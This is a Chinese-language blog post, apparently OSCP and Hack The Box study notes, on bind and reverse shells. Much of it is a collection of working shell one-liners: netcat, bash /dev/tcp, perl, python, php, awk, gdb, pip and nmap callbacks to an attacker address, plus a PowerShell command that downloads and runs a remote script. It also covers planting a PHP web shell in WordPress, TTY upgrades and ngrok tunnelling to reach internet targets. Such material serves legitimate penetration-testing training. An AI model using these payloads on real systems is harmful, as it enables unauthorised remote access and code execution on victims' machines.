滲透測試重新打底(5)--bind shell vs. reverse shell


Posted by kahatrix on 2023-09-22

兩種Shell的比較 bind shell vs. reverse shell

在OSCP考試裡面或是一些滲透的題目裡面,一定是有一條可以讓你做RCE的漏洞,那從一個可以利用RCE的漏洞拿到目標server的initial access,就是透過這個bind shell或是reverse shell的方式。

先講bind shell,bind shell是在受害者的主機上綁定一個特定的port,來監聽傳入的shell。

受害主機:

就是nc嘛,netcat開啟一個port然後execute某個指令,所有對這個1234port發起連線的用戶,受害主機就會執行這一串/bin/sh,/bin/sh就是我們的shell,這樣就可以執行成功。

nc -lvnp 1234 -e /bin/sh

攻擊機:

nc localhost 1234

攻擊機現在權限就變成是victim而不是原本的kali這個user,因為它已經連到遠端的這個主機了。這時候就可以進行一些操作,這就是bind shell。

我們剛剛在受害者端綁定、開啟一個監聽的port 1234來做監聽,然後執行一個/bin/sh。reverse shell就剛好相反,它是在攻擊者端開啟一個監聽port,監聽完之後我們用這台這個受害者主機,對我們的攻擊主機發起連線。

bind shell是攻擊方對受害者主機發起連線,reverse shell是受害者主機對攻擊方發起連線。

再詳細點,bind shell是victim上面綁定一個特定的port,然後等待來自攻擊者主機對目標主機發起的連線,就像一個後門一樣。後門當然它是在背景執行,它可能會有一個process一直常駐在受害者主機裡面,不斷去監聽,如果有任何人任何東西對它發起連線,它就建立通道去取得資料或是幹嘛幹嘛之類的。或是說被埋入一個C2的client之類的,都是類似這種bind shell的概念。當然不是每個狀況都一樣,但是大概可以這樣形容。

有一個要特別注意的是在設定bind shell的時候,你一定要先在對方的主機上去做一個監聽,應該說只要是誰要開啟監聽,誰就要先打這個指令,因為他要先開啟監聽模式,你才有辦法對他傳入連線。reverse shell的話就是相反,你要先在你自己的主機上開始一個監聽的模式,然後你才可以在這邊寫入一些東西,讓他收到這個連線。所以開啟監聽的那一方一定要先執行,然後傳入連線的那一方後執行。

windows上面應該是沒有nc的,所以在windows上面的話,我們就需要使用powershell。會使用powershell去get一個ps檔案,就是一個powershell的一個腳本。你可能需要會使用powershell的DownloadString。

powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')

PayloadsAllTheThings/Methodology and Resources
/Reverse Shell Cheatsheet.md

上面指令做法就是上傳一個reverse shell的檔案,指令裡的檔案是mini reverse.ps1,上傳之後再去呼叫他,kali這邊一樣可以用nc,然後在有rce的地方做一個download string,在那邊下載然後執行那個ps1,然後這邊你就會收到一個來自windows機器的shell進來,windows的做法基本上就是這個樣子。

如果有一些特例,例如windows上面有php或python的話,一樣可以使用剛剛說的那些reverse shell。或是說他上面有java的話,也可以用java這種方式(上面PayloadsAllTheThings網頁裡有),這個就是看運作的情形跟狀況,這不太一定。

補充,PayloadsAllTheThings裡面有很多不一樣的東西,幾乎你有聽過的、常聽到的攻擊他裡面其實都會有,不管是cve的、dns、一些參數污染,還有剛剛說的這個reverse shell。建議大家如果在找跟攻擊指令相關的資源或是東西的時候,推薦你先從PayloadsAllTheThings開始看,裡面有很多不一樣的東西,大家可以去參考一下,你會需要用到的東西幾乎都在上面。以SQL injection來說,他就有去分類,像是mysql的、oracle的一些東西,前面會先教你去判斷,就是version要怎麼拿,或是一些基本指令還有一些bypass的東西,他裡面都會寫。手寫payload的部分上面應該幾乎都有,拼拼湊湊就不會有什麼問題。

幾乎所有可建立連線的程式語言或是指令都可以拿來寫bind shell或是reverse shell,當然依據語言特性也會有不同的寫法,有很多意想不到的command也可以拿來寫bind shell跟reverse shell。這依據這個OS的不同例如說是Linux或Windows甚至是Mac或是其他有的沒的OS會有不同的指令,還有依據那台server上有運行的套件也好語言也好,或是各種各樣的狀況,都會有不同的撰寫方式。

如果目標主機上有Nmap,例如說它可能是一台監測流量的機器,或是這是一個開發者所擁有的主機的話,很有可能會有一個Nmap,這時候我們可以在指令這邊直接寫一個export:

export RHOST=10.0.0.1
export RPORT=1234
TF=$(mktemp)
echo 'local s=require("socket");
local t=assert(s.tcp());
t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
while true do
  local r,x=t:receive();local f=assert(io.popen(r,"r"));
  local b=assert(f:read("*a"));t:send(b);
end;
f:close();t:close();' > $TF
nmap --script=$TF

你說這個這麼長要怎麼打,遇到Nmap可以使用的情境,通常是你在目標主機已經有一個initial的access,這時候為了提權、二次提權或是進行其他的活動,在其他的東西都不好用的狀況下...選一個情境好了,例如說它裡面有一個cron tab,就是排程service,它會去讀某個config,然後可能是一個Nmap的東西去搜尋它底下的一些其他的管理的一些主機。所以它有Nmap,所以我們就先把上面這一大串指令寫起來,那它去讀這個config的時候,等它的這個排程去call到這個檔案的時候,它就會自動跳到你在監聽的東西,然後取得相應的權限。例如說你本來是這個www-data,變成一個真正的user 之類的。

在已經有建立這個initial的access的狀況下,一般來說我們比較常用的是bash或是nc,那bash它的指令就非常簡單也非常的好理解:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

0>&1就是把你所有輸入的東西都輸出到你的螢幕上,就是standard output。

那有時候我們要確保目標的shell是使用bash所以我們會在前面加上一個bash -c,整串指令會變成:

bash -c `bash -i >& /dev/tcp/10.0.0.1/1234 0>&1`

通常我自己會先試上面這個,因為這指令比較短,通常simple is the best,如果你很長的話,可能會遇到一些因為一些字元或是換行或是一些特殊字元會去截斷你的command。通常在選擇reversal的時候,我們會選擇盡量短然後特殊字元不要那麼多的最好。那如果我這個是不成功的話,再嘗試使用這個bash -c。用反引號或是單引號把它包起來都沒有關係,就是看自己的習慣。

接下來是GDB,它原本是用來debug,它也是一樣很簡單:

export RHOST=10.0.0.1
export RPORT=1234
gdb -nx -ex 'python import sys,socket,os,pty;s=socket.socket()
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")' -ex quit

這個-ex後面也可以替換成其他的語言。

那perl是腳本語言,所以它也可以直接用-e的方式執行腳本:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

python:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

要注意的是有人卡在寫python,一直寫一直有問題。一直沒有成功有兩個原因,一個是python的版本號,有一些主機上只有其中一個版本的python,例如說只有python2或是只有python3,依據環境的不同,只打python的話,它有可能直接指定到python2或是python3。這時候如果你確定上面有python可是試不成功的話你可以指定成python2或是python3。另外一個是一定要加-c,有真的遇過沒有加-c然後卡超級久的。

然後是pip,它是python裡面附的安裝套件,也可以拿來做reversal:

export RHOST=10.0.0.1
export RPORT=1234
TF=$(mktemp -d)
echo 'import sys,socket,os,pty;s=socket.socket()
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")' > $TF/setup.py
pip install $TF

比較不一樣的是它會弄成一個setup.py,再用pip install去把它call起來,install完就會把這個東西也load進來,從而建立一個reversal。

另外一個常用的PHP,通常是對方的主機是一個web server有web service,它網站是用php寫的,這時候就會推薦用php的reverse shell,成功率比較高:

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

如果你在有php的網站上,然後web service有漏洞的話,我推薦你盡量使用php的,通常不會有什麼問題。不管對方的os是什麼,只要有執行php,這串指令大概都不會有太大的問題,頂多只是你這邊要改一下而已。

另外一種php revere shell也是一種reverse shell,但是通常我會把它叫做php的web shell。它適合用在某個可以修改而且運行php的網站。例如說在hac the box裡面有幾題我遇過的,它裡面是wordpress透過一些方法拿到wordpress的credential,就是它的帳號密碼之後,成功登入進去修改它的404.php。為什麼不用上面這個呢?因為wordpress它是一個網站,上面這個雖然是php,但你在寫入的時候很容易有錯,所以你最好是按照正規的php寫法去寫入這個web shell。

那我們可以看一下這個web shell,這個php看起來就是一個正常的php的開頭,然後中間這一段全部都可以刪掉。它這個是一個算是廣為流傳,只要你要寫php reverse shell的話基本上都是用這個,不太會有其他的。那東西都幫你寫好了,你不用特別去修改什麼東西,要改的地方就只有ip跟port,改成你自己的攻擊機的。所以如果你有類似這樣的狀況,或是說有一個網頁可以做修改、新增或是上傳的話,通常我們都會上傳這個php的reverse show。

php-reverse-shell.php

除了bash之外,如果在linux機器上面的話,另外一個最常用的就是:

nc -e /bin/sh 10.0.0.1 4242

像我今天有打一個web challenge,然後他不給reverse shell,也不可以用bin shell,所以我那時候是寫一個沒有執行reverse shell的東西,只是叫他對我發起一個連線,然後執行/bin/ls,我就可以看到他傳出來的連線不會建立任何的shell,而是會執行ls這個指令:

靶機:

攻擊機:

重來。可以知道靶機某個目錄只有test.,再實驗一次上面的做法:

靶機:

攻擊機:

可以發現攻擊機顯示的是靶機裡的東西。

有一個看起來非常長的這個指令,這也是netcat的指令:

rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f

通常用在bypass,或是說他有對特定一些資源做修改、或是說你確定對方有NC但是他卻不好用的狀況下,你可以嘗試使用這個。

awk也可以拿來寫reverse shell:

awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

那這個通常也是拿來做提權。那相關類似這種指令大家可以去一個網站叫GTFOBins。

我們現在已經了解reverse shell或是bind shell這些東西,但我們都知道,reverse shell彈回來的時候,常常是一個很爛的Shell。像是沒有辦法倒退、上下左右都不行、沒辦法去查看history,很多的東西他也都不能使用、不能clear、也不能正常使用vim,有一些指令sudo啊,su啊,ssh等,都會要求你有一個正常的Shell才能執行。

會發生這種狀況,基本上都是Linux上面才會發生,在Windows上面應該是沒有這樣的狀況,所以這邊僅限於Linux上面。這時候我們可以透過一些方法,將這個Shell升級成完全交互式的TTY。我們可以使用Python的script來做到這件事情,指令大概是這樣:

python3 -c 'import pty; pty.spawn("/bin/bash")'

這是Python的TTY套件,記得是原生套件,標準庫。那新增完之後還沒有結束,我們需要按一下ctrl+z弄到背景,那他會顯示:

[1]+ Stopped nc -nvlp 1234

那這個就會把他放到背景上面,這時候你再用:

stty raw -echo; fg

fg就是把他叫回來你的主控頁面,再按兩次enter就完成了。

但是還是有一些問題,如果我們在輸入比較長的指令、或是在非預期的地方換行,覆蓋掉原本寫的指令,非常的不方便。所以我們需要讓這個升級過後的tty跟我們原本的terminal保持一致。

先在一個新的terminal執行:

stty -a

拿到raws跟colums的值後,在剛剛升級的tty上寫下:

export TERM=xterm-256color
stty rows 32 colums 69

這樣我們就得到一個足夠好用的tty了。

介紹一下ssh tunnel。在hack the box或oscp的場景裡面,我們通常和靶機已經是在同一個網段了,所以我們可以直接對靶機做掃描,寫reverse shell的時候也都是寫內網的ip,不會是寫一個外網。所以這時候就會有一個問題發生,因為通常我們現在不管在家裡也好,在公司也好或在什麼地方也好,假設你要打一個外面的機器,你要怎麼寫reverse shell? 這時候出現的問題是說,假設我要打google然後我真的成功在google上面找到一個rce的漏洞,請問你要怎麼改你的reverse shell。應該說你這一欄原本寫內網ip的,現在要寫什麼東西。

所以這時候就需要做一個tunnel,在沒有實體ip或是沒有domain的狀況下,我們需要建立一個通道。這時候就有一個好用的工具叫ngroc,他會透過他們的domain去幫你建立一個tunnel,使用方法也很簡單,基本上你只要去官網註冊一個免費帳號,他就會給你一個token,然後你就做一些設定。假設你要建立一個tcp的tunnel,你就可以寫一個tcp然後指定的port,然後按下去,他這裡就會幫你建立一個這個東西。你在寫reverse shell的時候,你要打的就是這個,後面這個domain這一串。










Related Posts

[Week2] 給自己看的 JavaScript 筆記 -運算

[Week2] 給自己看的 JavaScript 筆記 -運算

Flattening multidimensional arrays in JavaScript

Flattening multidimensional arrays in JavaScript

SQL 筆記

SQL 筆記


Comments